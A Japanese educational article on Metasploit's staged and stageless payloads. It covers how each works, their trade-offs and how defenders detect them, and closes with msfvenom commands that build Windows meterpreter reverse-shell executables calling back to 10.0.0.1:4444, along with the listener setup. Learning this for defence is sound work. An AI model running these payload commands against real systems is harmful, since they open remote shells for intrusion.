はじめに
ペイロードには Staged(段階式) と Stageless(単段式) がある。
Staged は小さい stager を使って後から本体をメモリ上に取得・展開する方式でステルスに優れるがネットワーク依存性が高い。Stageless は自己完結型で安定しやすいがサイズが大きく検出されやすい。Modern AV/EDR(AMSI 等)の登場で、どちらも検出される可能性が高くなっているため、防御側はメモリ展開と通信フロー両面での監視が重要になる。
用語定義
Staged(段階式):ペイロードを stager(小)と stage(本体)に分割。stager がリスナーへ接続し、接続を介して本体を取得してメモリ上で実行する方式。ディスクを書き換えずにメモリで展開することを狙う。
Stageless(単段式):1つの自己完結型バイナリ/コードが実行されると即座に逆シェル等の機能を起動する方式。追加ダウンロードを行わない。
実務的に識別すると、Metasploit の命名則では / を含むものが staged、_ を含むものが stageless であることが多い(例:windows/meterpreter/reverse_tcp は staged、windows/meterpreter_reverse_tcp は stageless)。
動作フロー
- Staged:
- 攻撃側 → 小さな stager をターゲットに配置/実行
- stager → 攻撃側のリスナーにコネクト
- リスナー → stager に対し本体(stage)を送信
- stager → 受け取った本体をメモリ上で展開・実行
- Stageless:
- 攻撃側 → 完全なペイロード(自己完結)をターゲットに配置/実行
- ペイロード → 直ちにシェルを返す(追加通信不要)
技術的トレードオフ(比較表)
| 項目 | Staged | Stageless |
|---|---|---|
| 初期送信サイズ | 小さい | 大きい |
| 追加ネットワーク通信 | 必須(stage 取得) | 不要 |
| ディスク書き込み | 基本はメモリ展開(ディスク不使用) | 単体で完結(ディスク書込の有無は実装次第) |
| ステルス性 | 相対的に高い(stager が小さい) | 低め(大きく検出されやすい) |
| ネットワーク依存性 | 高い(アウトバウンド制御で失敗しやすい) | 低い |
| 検出リスク(AV/EDR) | AMSI等で検出され得る | シグネチャや静的解析で捕まえやすい |
| 運用の難易度 | セットアップ・ハンドリングが複雑 | 単純で扱いやすい |
検出・防御の視点
- AMSI / 振る舞い検知:メモリ展開時のスクリプト/コード評価や API 呼び出しパターンを監視することで、stager 経由のロードも検出可能。Endpoint Detection & Response(EDR)製品はプロセス内の不審な振る舞い(インジェクション、反射的ロード、異常なネットワークビーコン)でアラートを上げる。
- ネットワーク監視:stager が外部から stage を取得する際の特定の通信パターンやビーコン周期を検知ルールに落とすことが有効。TLS を使っていても通信先の異常や通信フローの頻度で検出できる場合がある。
- ファイル/プロセス監査:予期しないプロセス生成や短命なプロセス、プロセス間での奇異なメモリ操作をログ化・相関分析する。
- サンドボックス/実行前スキャン:大きなバイナリ(stageless)は配布前の静的解析やサンドボックスでの動作確認により検出率が高まる。
- 最小権限・アウトバウンド制限:内部からの外向き接続を最小化し、不要なプロトコルを制限することで staged 型の成功を困難にする。
Metasploitでの例(コマンド例)
以下は教育用の例。実戦での不正利用は禁止・厳重な注意が必要。
Staged(例)
# msfvenomでstagedペイロードを生成
msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.0.0.1 LPORT=4444 -f exe -o stager_payload.exe
# handler(別ターミナル)
msfconsole
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set LHOST 10.0.0.1
set LPORT 4444
run
Stageless(例)
# msfvenomでstagelessペイロードを生成(名前の違いに注意)
msfvenom -p windows/meterpreter_reverse_tcp LHOST=10.0.0.1 LPORT=4444 -f exe -o stageless_payload.exe
# handler(同様に)
msfconsole
use exploit/multi/handler
set payload windows/meterpreter_reverse_tcp
set LHOST 10.0.0.1
set LPORT 4444
run
注意:Metasploitのスラッシュ表記(
windows/meterpreter/reverse_tcp)は staged、アンダースコア表記(windows/meterpreter_reverse_tcp)は stageless を示すことが多い。モジュールやバージョンによって変わり得るので都度確認すること。
まとめ
-
Staged:stager(小)→ stage(本体)をダウンロードしてメモリ展開。ステルス性で優位だがネットワーク依存・AMSI/EDR に検出され得る。
-
Stageless:自己完結。安定だがサイズが大きく検出されやすい。
-
防御側は メモリ挙動の監視 と 通信フローの異常検出 を組み合わせ、許可されたラボでの継続的検証に基づくルール整備を行う。